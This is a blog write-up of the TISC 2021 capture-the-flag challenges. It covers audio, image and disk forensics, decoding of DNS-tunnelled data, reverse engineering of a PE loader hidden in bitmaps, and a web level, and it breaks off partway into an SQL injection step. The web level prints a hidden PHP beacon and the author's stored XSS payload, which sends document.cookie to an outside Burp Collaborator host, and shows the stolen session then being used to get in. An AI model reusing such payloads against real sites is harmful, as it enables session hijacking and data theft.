This page looks best with JavaScript enabled

TISC 2021 Writeups

Organized by CSIT from 29 October to 14 November

 ·  ☕ 30 min read  ·  🌈🕊️ rainbowpigeon

I could have been 5th place but unfortunately I did not officially qualify to be a real participant in this event. Still had a good time though, notwithstanding the fact that there was so much ‘steganography’ and quite a bit of guesswork at certain points :)

Details Links
Official Event Information Page https://www.csit.gov.sg/tisc/tisc-home
Official Event Landing Page https://www.tisc.csit-events.sg/
Official Event Summary https://www.csit.gov.sg/tisc/tisc-2021-summary

Level 1 (Forensics)

Scratching the Surface - Scenario 1

You have been roped in to investigate this attack, and CSIT SOC team have collected, detected and triaged the data and as you are new to the team, they will like you to look into these 3 particular interesting files, are you able to help?

Challenge 1

We’ve sent the following secret message on a secret channel.

Submit your flag in this format: TISC{decoded message in lower case}
Attached: file1.wav

“Channel"s in this case could refer to the Left/Right audio channels. Here, I’ll view the channels in iZotope RX 8 Advanced Audio Editor but feel free to use anything else as it doesn’t really matter:

Left and Right audio channels viewed in iZotope RX 8 Advanced Audio Editor

The Right audio channel seems to have what looks like morse code. Decoding it in manually in CyberChef, we get the flag.

Flag: TISC{csitislocatedinsciencepark}

Challenge 2

This is a generic picture. What is the modify time of this photograph?

Submit your flag in the following format: TISC{YYYY:MM:DD HH:MM:SS}
Attached: file2.jpg

Just run exiftool file2.jpg and it’s right in the output:

1
2
Date/Time Original              : 2003:08:25 14:55:27
Create Date                     : 2003:08:25 14:55:27

Flag: TISC{2003:08:25 14:55:27}

Challenge 3

Nothing unusual about the Singapore logo right?

Submit your flag in the following format: TISC{ANSWER}
Attached: file3.jpg

binwalk on the image shows that there is a zip file containing picture_with_text.jpg, so let’s extract that with -e.

1
2
3
4
5
6
7
a@b:/c/TISC$ binwalk -e file3.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
7184          0x1C10          Zip archive data, at least v2.0 to extract, compressed size: 6348, uncompressed size: 7232, name: picture_with_text.jpg
13686         0x3576          End of Zip archive, footer length: 22
1
2
3
4
5
6
a@b:/c/TISC/_file3.jpg.extracted$ tree -h
.
├── [6.4K]  1C10.zip
└── [7.1K]  picture_with_text.jpg

0 directories, 2 files

picture_with_text.jpg contains some suspicious text at the beginning, which turned out to be ROT13 ciphered.

1
2
3
4
5
6
7
8
a@b:/c/TISC/_file3.jpg.extracted$ xxd -l 100 picture_with_text.jpg
00000000: 4e41 464a 5245 2047 4220 4755 5646 2050  NAFJRE GB GUVF P
00000010: 554e 5959 5241 5452 2056 4620 5552 4552  UNYYRATR VF URER
00000020: 204e 4343 5952 504e 4545 4247 4352 4e45   NCCYRPNEEBGCRNE
00000030: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
00000040: 0001 0000 ffdb 0084 0005 0505 0505 0505  ................
00000050: 0606 0508 0807 0808 0b0a 0909 0a0b 110c  ................
00000060: 0d0c 0d0c                                ....

Decoding “NAFJRE GB GUVF PUNYYRATR VF URER NCCYRPNEEBGCRNE” in CyberChef gives
ANSWER TO THIS CHALLENGE IS HERE APPLECARROTPEAR.

Flag: TISC{APPLECARROTPEAR}

Scratching the Surface - Scenario 2

Excellent! Now that you have show your capabilities, CSIT SOC team have given you an .OVA virtual image in investigating a snapshot of a machine that has been compromised by PALINDROME. What can you uncover from the image?

Once you download the VM, use this free flag TISC{Yes, I’ve got this.} to unlock challenge 4 - 10.

hxxps://transfer.ttyusb.dev/I6aQoOSuUuAoIIaqMWWkCcKyOk/windows10.ova

Check MD5 hash: c5b401cce9a07a37a6571ebe5d4c0a48 For guide on how to import the ova file into VirtualBox, please follow the VM importing guide attached.

Please download and install Virtualbox ver 6.1.26 instead of ver 6.1.28, as there has been reports of errors when trying to install the Win 10 VM image. https://www.virtualbox.org/wiki/Download_Old_Builds_6_1
Attached: VM Importing Guide.txt

For this forensics scenario, I will be demonstrating how to solve all of the following challenges without running the actual VM (Virtual Machine) at all. First, you will need to import the given windows10.ova into VirtualBox as a VMDK and not a VDI. Simply untick the “Additional Options” checkbox and you are good to go.

Importing OVA into Virtual Box as VMDK, not VDI

We will then be conducting most of our analysis directly on the VMDK file through Autopsy. Create a new case in Autopsy and add the VMDK file as a “Disk Image or VM File” type data source.

Adding VMDK data source to Autopsy using VM File option

Challenge 4

What is the name of the user?

Submit your flag in the format: TISC{name}.

Autopsy will display “Operating System User Account” information under Extracted Content after running the default selected ingest modules. In there, you can see “adam” as the user account name.

Operating system accounts extracted from VMDK in Autopsy

Flag: TISC{adam}

Challenge 5

Which time was the user’s most recent logon? Convert it UTC before submitting.

Submit your flag in the UTC format: TISC{DD/MM/YYYY HH:MM:SS}.

For this, we will use a special ingest module Python plugin called “SAM Parse” which is available to install from https://github.com/markmckinnon/Autopsy-Plugins. Rerun your ingest modules (making sure SAM Parse is selected) and under Extracted Content the SAM file will be parsed for accounts and their last login times.

Accounts and their last login times parsed from SAM file in Autopsy

For adam, the last login Unix timestamp is 1623897697. This can be converted to UTC with date -d @1623897697 -u:

1
2
a@b:/c/TISC/$ date -d @1623897697 -u
Thu Jun 17 02:41:37 UTC 2021

Flag: TISC{17/06/2021 02:41:37}

Challenge 6

A 7z archive was deleted, what is the value of the file CRC32 hash that is inside the 7z archive?

Submit your flag in this format: TISC{CRC32 hash in upper case}.

Autopsy shows the Recycle Bin’s contents under Extracted Content and in it we can see $R31T54D.7z.

7z file in Recycle Bin after deleting

Export it out of Autopsy, open in 7-zip/WinRAR (not extract) and the CRC32 value will be displayed in its own column.

Flag: TISC{040E23DA}

Challenge 7

Question1: How many users have an RID of 1000 or above on the machine?

Question2: What is the account name for RID of 501?

Question3: What is the account name for RID of 503?

Submit your flag in this format: TISC{Answer1-Answer2-Answer3}. Use the same case for the Answers as you found them.

Here we can reuse the “Operating System User Account Information” under Extracted Content seen in Challenge 4.

Operating system accounts extracted from VMDK in Autopsy

The first column displays the SIDs of the accounts. The RID is the last portion of the SID (separated by hyphens -).

  • Question 1: For users with RID of 1000 or above on the machine, we can only see adam with an RID of 1002.
  • Question 2: Account name with RID 501 is Guest
  • Question 3: Account name with RID 503 is DefaultAccount

Flag: TISC{1-Guest-DefaultAccount}

Challenge 8

Question1: How many times did the user visit https://www.csit.gov.sg/about-csit/who-we-are ?

Question2: How many times did the user visit https://www.facebook.com ?

Question3: How many times did the user visit https://www.live.com ?

Submit your flag in this format: TISC{ANSWER1-ANSWER2-ANSWER3}.

Under Extracted Content in Autopsy, Web History will be of use.

Web history extracted from VMDK in Autopsy

Ignoring the WebCacheV01.dat files and only focusing on “History”, you’ll see that the “CSIT | Who We Are” page is visited twice while facebook.com and live.com is never visited.

Flag: TISC{2-0-0}

Challenge 9

A device with the drive letter “Z” was connected as a shared folder in VirtualBox. What was the label of the volume? Perhaps the registry can tell us the “connected” drive?

Submit your flag in this format: TISC{label of volume}.

For VirtualBox Windows guests, shared folders are “implemented as a pseudo-network redirector”. Simply put, they are mounted as a mapped network drive with the fixed UNC path prefix \\VBoxSF\, \\VBoxSvr\ or \\VBoxSrv\ followed by the shared folder name, e.g. \\VboxSvr\MyShare. This is gleaned from the VirtualBox User Manual.

Where can we find information about the mapped network drives in a system? Microsoft documentation and numerous other StackOverflow answers (one, two, three) point to this registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 where mapped drives information is stored in this format ##Server_Name#Share_Name. So in the case of \\VboxSvr\MyShare, we should see something like ##VboxSvr#MyShare.
Additionally, as seen from the StackOverflow answers and this other outdated Microsoft documentation under “Drive Label”, the _LabelFromReg value in this MountPoints2 registry key can be used to specify custom volume labels.
But when this value is not set, the default label used is actually just the share name itself. I’ve proved this by searching for image examples online like this TenForums tutorial for mapped network drives and other miscellaneous VirtualBox shared folder tutorials (one, two, three). So with the shared folder name MyShare and no _LabelFromReg value set, the volume label will be MyShare.

Ok, enough explanation and time to examine the registry of the VMDK in Autopsy! The MountPoints2 key we want is from HKEY_CURRENT_USER which can be retrieved from the user’s NTUSER.DAT file.

Parsing NTUSER.DAT for MountPoints2 registry key in Autopsy

No _LabelFromReg value is set for the ##VBoxSrv#vm-shared key, which means the shared folder name vm-shared will by default be our volume label!

Flag: TISC{vm-shared}

Challenge 10

A file with SHA1 0D97DBDBA2D35C37F434538E4DFAA06FCCC18A13 is in the VM… somewhere. What is the original name of the file that is of interest?

Submit your flag in this format: TISC{original name of file, include file extension}.

I added the VMDK into FTK Imager as an Image File and then I did an “Export File Hash List”.

Exporting file hash list from VMDK in FTK Imager

I then searched for the given SHA1 hash in the exported list and found that it corresponded to otter-singapore.lnk under the Recent folder.

Searching SHA1 hash in file hash list in EmEditor

If we now check “Recent Documents” under Extracted Content in Autopsy, we can see that otter-singapore.lnk points to the original file otter-singapore.jpg.

Recent Documents in Autopsy shows original file that .lnk shortcut points to

Flag: TISC{otter-singapore.jpg}

Level 2 (Network Forensics)

Dee Na Saw as a need

We have detected and captured a stream of anomalous DNS network traffic sent out from one of the PALINDROME compromised servers. None of the domain names found are active. Either PALINDROME had shut them down or there’s more to it than it seems.

This level contains 2 flags and both flags can be found independently from the same pcap file as attached here.

Flag 1 will be in this format, TISC{16 characters}.
Attached: traffic.pcap

I noticed a pattern in the DNS queries: they all began with a hardcoded prefix d33d followed by a string of only uppercase letters and numbers. I suspected this string to be Base32-encoded because a usual Base64-encoding would instead use both lowercase and uppercase letters. But when I tried extracting all these strings out, Base32 decoding failed.
Upon closer anaysis, I realised the 2 numbers right after d33d would range from 0-9 even though the Base32 character set only has numbers 2-7. Hence, these 2 numbers probably belonged to a separate encoded message which will form the other independent flag that can be found in this level.

Hardcoded prefix followed by two different encoded messages in DNS query in Wireshark

Part 1

I extracted the 2 numbers after d33d out from all of the DNS queries and I noticed that the 2 numbers, when taken together, go from 01 to 64. This character set of 64 could mean Base64-encoding, so I mapped each number to the standard Base64 character set A-Za-z0-9+/=. In the script below I also parsed out the Base32-encoded string after the 2 numbers at the same time for Part 2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pyshark

cap = pyshark.FileCapture("traffic.pcap")

mapping = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
mapping = [c for c in mapping]

b32 = ""
numbers = ""

for packet in cap:
    query = packet.dns.qry_name.split(".")[0]
    b32 += query[6:]
    numbers += mapping[int(query[4:6]) - 1]

cap.close()

with open("dns_extracted_b32.txt", "w") as f:
    f.write(b32)

with open("dns_extracted_numbers_mapped.txt", "w") as f:
    f.write(numbers)

Base64-decoding the contents of dns_extracted_numbers_mapped.txt, we actually get a Microsoft Word .docx file. I extracted the contents of the file and found the flag inside word/theme/theme1.xml.

Flag in theme1.xml inside Microsoft Word document file

Flag: TISC{1iv3_n0t_0n_3vi1}

Part 2

The extracted Base32-encoded string from the same script in Part 1 decodes to text with the flag within.

Decoding Base32 string in CyberChef to give text with flag

Flag: TISC{n3vEr_0dd_0r_Ev3n}

Level 3 (Reverse Engineering)

Needle in a Greystack

An attack was detected on an internal network that blocked off all types of executable files. How did this happen?

Upon further investigations, we recovered these 2 grey-scale images. What could they be?
Attached files: 1.bmp, 2.bmp

Rearranging 1.bmp

I opened 1.bmp in 010 Editor and I could see chunks of a PE file being stored as BITMAPLINE structures in reverse order. See that the section information (rdata), PE signature, and MZ signature are appearing in the wrong order?

Chunks of PE stored in BITMAPLINE structures in reverse order

I exported the file’s bitmap structures to CSV in 010 Editor, deleted the unneeded structures (BITMAPFILEHEADER, BITMAPINFOHEADER, RGBQUAD), and then made a quick Python script to read the remaining BITMAPLINE structures in the CSV for their offsets and sizes so as to construct a new file containing the PE chunks in the correct order.

Sample CSV contents:

Name,Value,Start,Size,Color,Comment
struct BITMAPLINE lines[0],,436h,94h,Fg: Bg:,
struct BITMAPLINE lines[1],,4CAh,94h,Fg: Bg:,
struct BITMAPLINE lines[2],,55Eh,94h,Fg: Bg:,
struct BITMAPLINE lines[3],,5F2h,94h,Fg: Bg:,
struct BITMAPLINE lines[4],,686h,94h,Fg: Bg:,
struct BITMAPLINE lines[5],,71Ah,94h,Fg: Bg:,
struct BITMAPLINE lines[6],,7AEh,94h,Fg: Bg:,

However, I did not get a valid PE this way on my first try, because I realized that the padBytes (3 bytes) in each BITMAPLINE structure should be ignored. So this is the script that accounts for that:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import csv

offsets = []

with open("1.csv") as csvfile:
    bmpreader = csv.reader(csvfile, delimiter=',')
    next(bmpreader) # skip CSV header
    for row in bmpreader:
        offset = int("0x"+row[2].rstrip('h'), 16)
        size = int("0x"+row[3].rstrip('h'), 16)
        offsets.append((offset, size))

with open("1_rearranged.exe", "ab") as wf:
    with open("1.bmp", "rb") as rf:
        for offset, size in reversed(offsets):
            size -= 3 # ignore padding bytes
            rf.seek(offset)
            data = rf.read(size)
            wf.write(data)

Analyzing 1.exe

Now it’s time to analyze 1_rearranged.exe in IDA Pro!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

    ::puts("HELLO WORLD");
    if ( argc < 2 )
        goto FAIL;
    txt_file = argv[1];
    end = strrchr(txt_file, '.');
    if ( !end || end == txt_file )
        ext = (const char *)&unk_D5575A;
    else
        ext = end + 1;                              // advance past dot
    fail = strcmp("txt", ext);
    if ( fail )
        fail = fail < 0 ? -1 : 1;
    if ( fail )
    {
    FAIL:
        ::puts("flag{THIS_IS_NOT_A_FLAG}");
        return 1;
    }
    fopen_s(&Stream, argv[1], "rb");
    fseek = (void (__cdecl *)(FILE *, int, int))::fseek;
    // file size check omitted
    buf = (unsigned int)malloc(fsize);
    fopen_s(&Stream, argv[1], "rb");
    // error checking omitted
    fseek(Stream, 0, SEEK_END);
    fsize_1 = ftell(Stream);
    rewind(Stream);
    Size = fread((void *)buf, 1u, fsize_1, Stream);
    // rest of code
}

The first part of the code in main takes in a command-line argument for a .txt filename to read from and store in a buffer.
Then, the file’s contents stored in the buffer are processed in chunks of 64 bytes with each mini-chunk of 16 bytes XOR’d with some different 16-byte keys.

128-bit XOR operations on buffer chunks in IDA

Frankly, I don’t really fully understand how this decoding routine worked — especially the code at the beginning where the address of buf is used as a negative index for arrays. Nevertheless, and crucially, I noticed through dynamic analysis that all the 16-byte keys used were sequentially retrieved from .rdata.

16-byte XOR keys stored in .rdata

After XOR decoding the buffer, the buffer and its size are then passed to sub_931360 where the buffer is checked to be a valid PE, copied into a new allocated memory region, parsed for various image data directories, and then executed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
char __fastcall sub_931360(IMAGE_DOS_HEADER *pe_buf, unsigned int fsize)
{
    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

    if ( fsize < 0x1000 )
    return 0;
    if ( pe_buf->e_magic != IMAGE_DOS_SIGNATURE ) // MZ check
    return 0;
    nt_header = (IMAGE_NT_HEADERS *)((char *)pe_buf + pe_buf->e_lfanew);
    nt_header_ = nt_header;
    if ( nt_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 )
    return 0;
    pe_alloc = (CHAR *)VirtualAlloc(
                        (LPVOID)nt_header->OptionalHeader.ImageBase,
                        nt_header->OptionalHeader.SizeOfImage,
                        0x3000u,
                        PAGE_EXECUTE_READWRITE);
    if ( !pe_alloc )
    {
    pe_alloc = (CHAR *)VirtualAlloc(0, nt_header_->OptionalHeader.SizeOfImage, 0x3000u, PAGE_EXECUTE_READWRITE);
    if ( !pe_alloc )
        return 0;
    }
    nt_header__ = nt_header_;
    n_sections = nt_header_->FileHeader.NumberOfSections;
    // copying sections omitted
    // parsing base relocation table omitted
    // parsing libraries and exports from import table omitted
    // parsing TLS callbacks omitted
    ((void (__stdcall *)(CHAR *, int, _DWORD))&pe_alloc[nt_header__->OptionalHeader.AddressOfEntryPoint])(pe_alloc, 1, 0);
    VirtualFree(pe_alloc, 0, 0x8000u);
    return 1;
}

Known-Plaintext Attack

Given that we know the final XOR-decoded buffer will be a valid PE with a standard MS-DOS MZ Header (64 bytes) at the beginning, we can conduct a known-plaintext attack: take the 64 bytes of a standard MS-DOS MZ Header and XOR it again with the hardcoded 16-byte keys stored in .rdata to get back the data that would have been (or was expected to be) in the buffer at the beginning. This is the result in CyberChef!

XOR Known-plaintext attack using MS-DOS MZ Header in CyberChef

Whoa, aren’t those the words in 2.bmp?! More specifically, the MS-DOS MZ header maps to the last BITMAPLINE structure in 2.bmp.

Last BITMAPLINE structure in 2.bmp

What this means is that 2.bmp probably contains another PE stored as BITMAPLINE structures in reverse, similar to 1.bmp, except that the chunks are all XOR-encoded. If we feed these BITMAPLINE chunks in the correct order as a .txt file to 1_rearranged.exe, 1_rearranged.exe will XOR-decode these chunks to form the new PE that will be checked and executed.

Rearranging 2.bmp

Hence, I exported the BITMAPLINE structures’ offsets and sizes in 2.bmp to CSV the same way I did for 1.bmp and modified my earlier script to rearrange the structures. This time, padBytes is only 1 byte.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import csv

offsets = []

with open("2.csv") as csvfile:
    bmpreader = csv.reader(csvfile, delimiter=',')
    next(bmpreader) # skip CSV header
    for row in bmpreader:
        offset = int("0x"+row[2].rstrip('h'), 16)
        size = int("0x"+row[3].rstrip('h'), 16)
        offsets.append((offset, size))

with open("2_rearranged.txt", "ab") as wf:
    with open("2.bmp", "rb") as rf:
        for offset, size in reversed(offsets):
            size -= 1 # ignore padding bytes
            rf.seek(offset)
            data = rf.read(size)
            wf.write(data)

The chunk that will XOR-decode to the MS-DOS MZ Header is now at the start of 2_rearranged.txt.

Rearranged 2.bmp BITMAPLINE structures in .txt file

I pass in 2_rearranged.txt as the command-line argument to 1_rearranged.exe and let the decoding of the buffer be done. I then ran pe-sieve with /data 3 to scan non-executable pages to dump out the PE that was in memory.

DLL

The dumped PE is actually a DLL. The entry point (DllEntryPoint) calls the standard functions _security_init_cookie, dllmain_dispatch, etc., so let’s just focus on DllMain.

DllEntryPoint in IDA calls dllmain_dispatch

dllmain_dispatch in IDA calls DllMain

DllMain calls sub_10001050 which contains the main code we’re interested in.
At the start, the contents of key.txt are read into a buffer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __cdecl main_10001050(int argc, const char **argv, const char **envp)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  // file check omitted
  buf = malloc(fsize);
  key = buf;
  fopen_s(&Stream, "key.txt", "rb");
  result = Stream;
  if ( Stream )
  {
    fseek(Stream, 0, SEEK_END);
    fsize_1 = ftell(Stream);
    rewind(Stream);
    bytesread = fread(buf, 1u, fsize_1, Stream);
    result = 0;
    if ( fsize_1 == bytesread )
    {
      result = fclose(Stream);
      if ( bytesread )
      {
        if ( key )
        {
          fail = strcmp(key, "Words of the wise may open many locks in life.");
          if ( fail )
            fail = fail < 0 ? -1 : 1;
          if ( !fail )
            puts("*Wink wink*");
        }
        memset(plaintext, 0, 255u);
        for ( i = 0; i < 256; ++i )             // KSA - initialize to identity permutation
          S[i] = i;                             // S[i] = i
        _i = 0;
        __j = 0;
        do                                      // KSA - mixing of key bytes
        {
          element_i = S[_i];
          _j = (__j + key[_i % 14u] + element_i);// j = j + S[i] + key[i%keylen]
                                                // which means keylen is 14
          __j = _j;
          S[_i++] = S[_j];
          S[_j] = element_i;                    // swap: S[j] = S[i]
        }
        while ( _i < 256 );
        LOBYTE(i_) = 0;
        LOBYTE(j_) = 0;
        drop_j = 32;
        do                                      // RC4-drop[n] - n=32, discard first 32 bytes of keystream
        {
          i_ = (i_ + 1);
          tmp_i_ = S[i_];
          j_ = (j_ + tmp_i_);
          S[i_] = S[j_];
          S[j_] = tmp_i_;
          --drop_j;
        }
        while ( drop_j );
        for ( m = 0; m < 38; ++m )              // PRGA
                                                // 38 is length of plaintext
        {
          i_ = (i_ + 1);                        // i = i + 1
          tmp_i = S[i_];
          j_ = (tmp_i + j_);                    // j = j + S[i]
          S[i_] = S[j_];                        // swap: S[i] = S[j]
          S[j_] = tmp_i;                        // swap: S[j] = S[i]
          plaintext[m] = ciphertext[m] ^ S[(tmp_i + S[i_])];// keystream = S[(S[i] + S[j])]
                                                // plaintext = ciphertext ^ keystream
        }
        for ( n = 0; n < 38; ++n )
          print_like("%c", plaintext[n]);
        puts("\n");
        free(key);
      }
    }
  }
  return result;
}

The buffer is compared with the string Words of the wise may open many locks in life. and then used to RC4-drop[32]-decrypt 38 bytes of ciphertext. I tried running the DLL with that string inside key.txt, but it didn’t work so we need something else. After all, based on analysis of the RC4 code the key length should be 14.

What could “words of the wise” mean? I remembered that 2.bmp was filled with many relatively complex words, so maybe it could be one of them? I made a quick Python to script to print out any words of length 14, and one of them stood out:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\TISC>get_words.py
philosophizers
obstructionist
trichodontidae
overanimatedly
interpellation
precandidature
pasteurisation
lymphosarcomas
ureteroenteric
discommendably
hyperanabolism
dextrogyratory
unhistorically
!t4ttaRRatt4t!
perissological
reputationless
noncongruously
metantimonious
torturableness
decorativeness
multicarinated
semiopalescent
unqualifyingly

Using !t4ttaRRatt4t! as the contents for key.txt and running the DLL (with rundll32.exe, and I also had to set the instruction pointer to DllMain since the fwdReason check in dllmain_dispatch would fail), the ciphertext is properly RC4-decrypted into the flag!

Flag: TISC{21232f297a57a5a743894a0e4a801fc3}

Level 4 (Web Pentesting)

The Magician’s Den

One day, the admin of Apple Story Pte Ltd received an anonymous email.

===
Dear admins of Apple Story,
We are PALINDROME.
We have took control over your system and stolen your secret formula!
Do not fear for we are only after the money.
Pay us our demand and we will be gone.
For starters, we have denied all controls from you.
We demand a ransom of 1 BTC to be sent to 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 by 31 dec 2021.
Do not contact the police or seek for help.
Failure to do so and the plant is gone.
We planted a monitoring kit so do not test us.
Remember 1 BTC by 31 dec 2021 and we will be gone.
Muahahahaha.

Regards,
PALINDROME
===

Management have just one instruction. Retrieve the encryption key before the deadline and solve this.

hxxp://wp6p6avs8yncf6wuvdwnpq8lfdhyjjds.ctf.sg:14719

Note: Payloads uploaded will be deleted every 30 minutes.

AppleStory website defaced by PALINDROME

PALINDROME’s “Photo of us” shows a mage in a cart which is a reference to the infamous Magecart threat actors who deploy credit card skimming malware on e-commerce sites. The malware is often smartly concealed in CSS, SVG, PNG or JPG files.
In this case, PALINDROME states that they have “planted a monitoring kit” so it is probably hidden in a similar fashion.

Hidden Base64 string

Inspecting the network traffic when visiting the site, we see a suspicious eval and Base64 string hidden in the website’s favicon.ico.

Base64 string hidden in favicon.ico response viewed in Burp Suite

Decoding in CyberChef, we get the following PHP code (that I formatted) that is getting eval’d:

1
2
3
4
5
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"http://s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926/xcvlosxgbtfcofovywbxdawregjbzqta.php");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,"14c4b06b824ec593239362517f538b29=Hi%20from%20scada");
$server_output=curl_exec($ch);

New Endpoint

The above PHP code sends a POST request with some form data to a previously-unseen endpoint hxxp://s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926/xcvlosxgbtfcofovywbxdawregjbzqta.php. If we try sending this request on our own with the same form key 14c4b06b824ec593239362517f538b29 and value Hi from scada, we get back the following HTTP response which informs us that a HTML page has been created:

Request:

1
2
3
4
5
6
7
POST /xcvlosxgbtfcofovywbxdawregjbzqta.php HTTP/1.1
Host: s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 50

14c4b06b824ec593239362517f538b29=Hi%20from%20scada

Response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Date: Fri, 05 Nov 2021 01:26:31 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Vary: Accept-Encoding
Content-Length: 77
Connection: close
Content-Type: text/html; charset=UTF-8

New record created successfully in data/331be6ac94793c631e6c87d186bcc11d.html

Visiting this page at data/331be6ac94793c631e6c87d186bcc11d.html shows us that our original POST form value data Hi from scada has been inserted as HTML:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HTTP/1.1 200 OK
Date: Fri, 05 Nov 2021 01:27:06 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Fri, 05 Nov 2021 01:26:31 GMT
ETag: "34-5d00088725b04"
Accept-Ranges: bytes
Content-Length: 52
Connection: close
Content-Type: text/html

<html><head></head><body>Hi from scada</body></html>

This means that we can probably inject arbitrary javascript into the page for XSS. But for what purpose? Going back to the new endpoint’s root at hxxp://s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926/, we see that this website is actually PALINDROME’s own homepage.

New endpoint is the PALINDROME home page with link to latest sample data

The “Latest sample data” link on the top right leads to /data.php. This page logs the dates and times that “admin” viewed sample data.

New endpoint is the PALINDROME home page with link to latest sample data

Remember that we could inject arbitrary HTML and Javascript into data pages like data/331be6ac94793c631e6c87d186bcc11d.html? These are likely the sample data pages that “admin” is monitoring and visiting. So, we can steal the “admin” cookie (or some other data if that’s not the goal) through XSS.

Instead of using a harmless message like “Hi from scada” as my POST form value, it’ll be my XSS payload.

1
2
3
4
5
6
7
POST /xcvlosxgbtfcofovywbxdawregjbzqta.php HTTP/1.1
Host: s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 171

14c4b06b824ec593239362517f538b29=<script>new+Image().src%3d"http%3a//ek2sb2rxnnnuq2vu5gscyftcs3ytmi.burpcollaborator.net/%3fc%3d"%2bencodeURI(document.cookie)%3b</script>	

When the “admin” views the sample data at data/331be6ac94793c631e6c87d186bcc11d.html, the following HTML will render and the Javascript will grab his/her cookie and send it back to my Burp Collaborator instance.

1
2
3
4
5
6
7
8
<html>
    <head></head>
    <body>
        <script>
            new Image().src="http://ek2sb2rxnnnuq2vu5gscyftcs3ytmi.burpcollaborator.net/?c="+encodeURI(document.cookie);
        </script>
    </body>
</html>

And as expected, I soon caught a response from “admin” with their PHPSESSID cookie.

1
2
3
4
5
6
7
8
GET /?c=PHPSESSID=a61b96ae733950e2233c6f0f4a479464 HTTP/1.1
Referer: http://magicians-den-web/data/331be6ac94793c631e6c87d186bcc11d.html
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: ek2sb2rxnnnuq2vu5gscyftcs3ytmi.burpcollaborator.net

Now where should I use this PHPSESSID cookie? I did a Burp Suite content discovery scan on s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926 and it found a login page at login.php. Using the cookie on my GET request to this page gave me a 302 redirect to landing_admin.php.

Request:

1
2
3
4
5
GET /login.php HTTP/1.1
Host: s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926
Connection: close
Content-Length: 0
Cookie: PHPSESSID=8e7c1628ee81eb678e60fb23fec77d02

Response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HTTP/1.1 302 Found
Date: Fri, 05 Nov 2021 02:25:51 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: landing_admin.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

SQL Injection

The admin landing page shows a list of targets (presumably victims of PALINDROME) and allows filtering them based on their isALIVE/isDEAD status via a dropdown menu.

Admin landing page allows filtering list of targets

Behind the scenes, the filtering is done through a POST request like so:

Request:

1
2
3
4
5
6
7
8
9
POST /landing_admin.php HTTP/1.1
Host: s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926
Content-Length: 13
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8e7c1628ee81eb678e60fb23fec77d02
Connection: close

filter=isDEAD

Response snippet:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<div>Filter applied: isDEAD</div>
<div>
    <table>
        <tr>
            <th>IP</th>
            <th>Status</th>
            <th>Key</th>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isDEAD</td>
            <td>MaybeMessingAroundTheFilterWillHelp?</td>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isDEAD</td>
            <td>ButDoYouKnowHow?</td>
        </tr>
    </table>
</div>

The web application probably executes an SQL SELECT statement to retrieve rows based on our filter query, so let’s try modifying the filter with the end goal of exploiting an SQL injection to retrieve all rows (of targets/victims).

With a test query like filter=junk, we will see that the HTML response will include the following:

1
2
